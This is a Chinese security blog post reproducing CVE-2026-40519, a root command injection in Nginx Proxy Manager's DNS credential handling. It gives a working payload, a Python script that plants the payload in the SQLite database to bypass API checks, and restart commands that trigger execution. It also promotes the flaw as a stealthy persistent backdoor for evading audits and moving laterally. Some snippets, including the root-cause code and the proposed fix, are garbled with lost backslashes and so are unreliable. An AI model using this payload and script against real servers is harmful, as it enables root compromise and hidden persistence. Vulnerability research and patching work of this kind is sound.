CVE-2026-40519:Nginx Proxy Manager 命令注入漏洞复现 | CN-SEC 中文网
CVE-2026-40519是NginxProxyManager中的高危命令注入漏洞(CVSS9.8),攻击者通过DNSProvide 2026-6-15 02:50:6 Author: cn-sec.com(查看原文) 阅读量:21 收藏

CVE-2026-40519是NginxProxyManager中的高危命令注入漏洞(CVSS9.8),攻击者通过DNSProvider凭据字段注入恶意命令,可在容器内以root权限执行任意系统命令。漏洞根源在于setupCertbotPlugins()函数中双重转义顺序错误,导致单引号裸露,提前闭合echo字符串,使后续内容被Shell当作独立命令执行。

一、漏洞概述

Nginx Proxy Manager(NPM)是一款广泛使用的开源 Nginx 反向代理管理面板。2026 年 6 月曝出高危命令注入漏洞 CVE-2026-40519(CVSS 9.8),攻击者通过 DNS Provider 凭据字段注入命令,可在容器内以 root 权限执行任意系统命令。

项目
详情
CVE 编号
CVE-2026-40519
影响版本
jc21/nginx-proxy-manager
 v2.9.14 ~ v2.15.1
漏洞类型
OS Command Injection
利用后果
容器内 root RCE
CVSS
9.8 (Critical)
修复状态
官方尚未发布稳定修复版本,需从 develop 分支获取

二、复现环境

docker run -d --name cve-40519-target   -p 8282:81 -p 8283:443 -p 8280:80   jc21/nginx-proxy-manager:2.15.1

三、根因分析

漏洞根源位于 /app/setup.js 第 124-125 行,setupCertbotPlugins() 函数中的双重转义顺序错误:

// setup.js:124-125const escapedCredentials = credentials    .replaceAll("'", "'")   // ① 先转义单引号: x' → x'    .replaceAll("", "\")  // ② 再转义反斜杠:x' → x'(破坏了①的结果!)

该函数在容器每次启动时执行,遍历数据库中 provider='letsencrypt' 的证书记录,为各 DNS 插件生成凭据文件。凭据内容经上述转义后被拼入 Shell 命令:

// setup.js:130echo 'escapedCredentials′>/etc/letsencrypt/credentials/credentials−{row.id}

双转义缺陷: Step 1 为单引号前加反斜杠('→'),Step 2 将刚加入的反斜杠再次转义('→'),导致单引号重新裸露。裸露的单引号提前闭合 echo 的字符串,后续内容被 Shell 当作独立命令执行。

四、注入点——Web UI DNS Provider Credentials

操作路径:SSL Certificates → Add SSL Certificate → Let's Encrypt → DNS Challenge → Credentials File Content

CVE-2026-40519:Nginx Proxy Manager 命令注入漏洞复现

五、Payload 构造

5.1 最终 Payload

x';id>/tmp/pwned; } #

5.2 转义变换

步骤
操作
输入
输出
Step 1
replaceAll("'", "\'") x';id>/tmp/pwned; } # x';id>/tmp/pwned; } #
Step 2
replaceAll("\", "\\") x';id>/tmp/pwned; } # x\';id>/tmp/pwned; } #
 ← 单引号裸露

5.3 Shell 解析

实际执行的命令:

echo 'x\';id>/tmp/pwned; } #' > /etc/letsencrypt/credentials/credentials-26

Shell 逐段解析:

  • echo 'x\' → 字面输出 x\(单引号在第二个 ' 处提前闭合)
  • ;id>/tmp/pwned → 作为独立命令执行,输出重定向至 /tmp/pwned
  • ; } #' > ... → } 闭合外层代码块后无实际作用;# 注释掉尾部的引号和重定向符号,避免语法错误

输出验证:

uid=0(root) gid=0(root) groups=0(root)
CVE-2026-40519:Nginx Proxy Manager 命令注入漏洞复现

六、完整攻击链

Payload → SQLite 证书表 (provider='letsencrypt')                    │                    │ 容器重启                    ▼    setupCertbotPlugins() 遍历证书记录                    │                    ▼    replaceAll 双转义破坏 → 单引号裸露                    │                    ▼echo 'x\'; cmd; } #' → Shell 执行注入命令(root)

三层绕过:

  1. API Schema 校验:直接 POST 创建 LetsEncrypt 证书会被 API 拒绝 → 先用 API 创建 provider='other' 的证书,再直接写 SQLite 改为 letsencrypt
  2. 事务回滚:API 创建 LetsEncrypt 证书时 certbot 校验失败导致 ORM 事务回滚 → 绕过 API 和 ORM,直接操作 SQLite
  3. SQL 约束:certificate 表存在 NOT NULL 约束 → 插入时补全必填字段

核心注入脚本(Python):

import sqlite3, json, datetimeDB = '/data/database.sqlite'db = sqlite3.connect(DB)now = datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')payload_str = "x';id>/tmp/pwned; } #"payload = json.dumps({"dns_provider": "route53","dns_challenge": True,"dns_provider_credentials": payload_str})db.execute('DELETE FROM certificate WHERE provider="letsencrypt"')db.commit()db.execute('''    INSERT INTO certificate     (created_on, modified_on, expires_on, owner_user_id,      provider, domain_names, meta, nice_name, is_deleted)    VALUES (?, ?, ?, 1, "letsencrypt", ?, ?, "", 0)''', (now, now, '2099-12-31 00:00:00', json.dumps(["pwned.example.com"]), payload))db.commit()db.close()
# 重启触发docker restart cve-40519-targetdocker exec cve-40519-target cat /tmp/pwned# uid=0(root) gid=0(root) groups=0(root)

七、实战价值

该漏洞利用前提为持有 Admin Token(或能直接写 SQLite 数据库)。虽然拿 Admin Token 后已可操控端口转发/代理等功能,但在以下场景仍具战术价值:

  • 持久化后门:payload 写入数据库,容器每次重启自动触发,不易被察觉
  • 审计绕过:攻击行为隐藏在容器启动链中,常规 Web 日志无记录
  • 横向移动:获得容器 root 后可探索宿主机挂载卷、Docker Socket 逃逸等路径

八、修复方案

升级: 官方尚未发布稳定修复版本,建议从 develop 分支编译:

git clone https://github.com/NginxProxyManager/nginx-proxy-manager.gitcd nginx-proxy-manager && git checkout develop

临时缓解:

  • 修改默认密码为强随机密码(openssl rand -hex 16,≥12位)
  • 修改默认邮箱([email protected])
  • 管理端口(81)禁止暴露公网,仅内网/VPN 访问
  • 排查所有使用默认账密的 NPM 实例
  • 监控非预期容器重启

代码级修复——更正转义顺序:

// 先转义反斜杠,再转义单引号const escapedCredentials = credentials    .replaceAll("\", "\\")    .replaceAll("'", "\'")

原文始发于微信公众号(松杨网络安全资料库):CVE-2026-40519:Nginx Proxy Manager 命令注入漏洞复现

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。

点赞

http://cn-sec.com/archives/5271770.html 复制链接 复制链接


文章来源: https://cn-sec.com/archives/5271770.html
如有侵权请联系:admin#unsafe.sh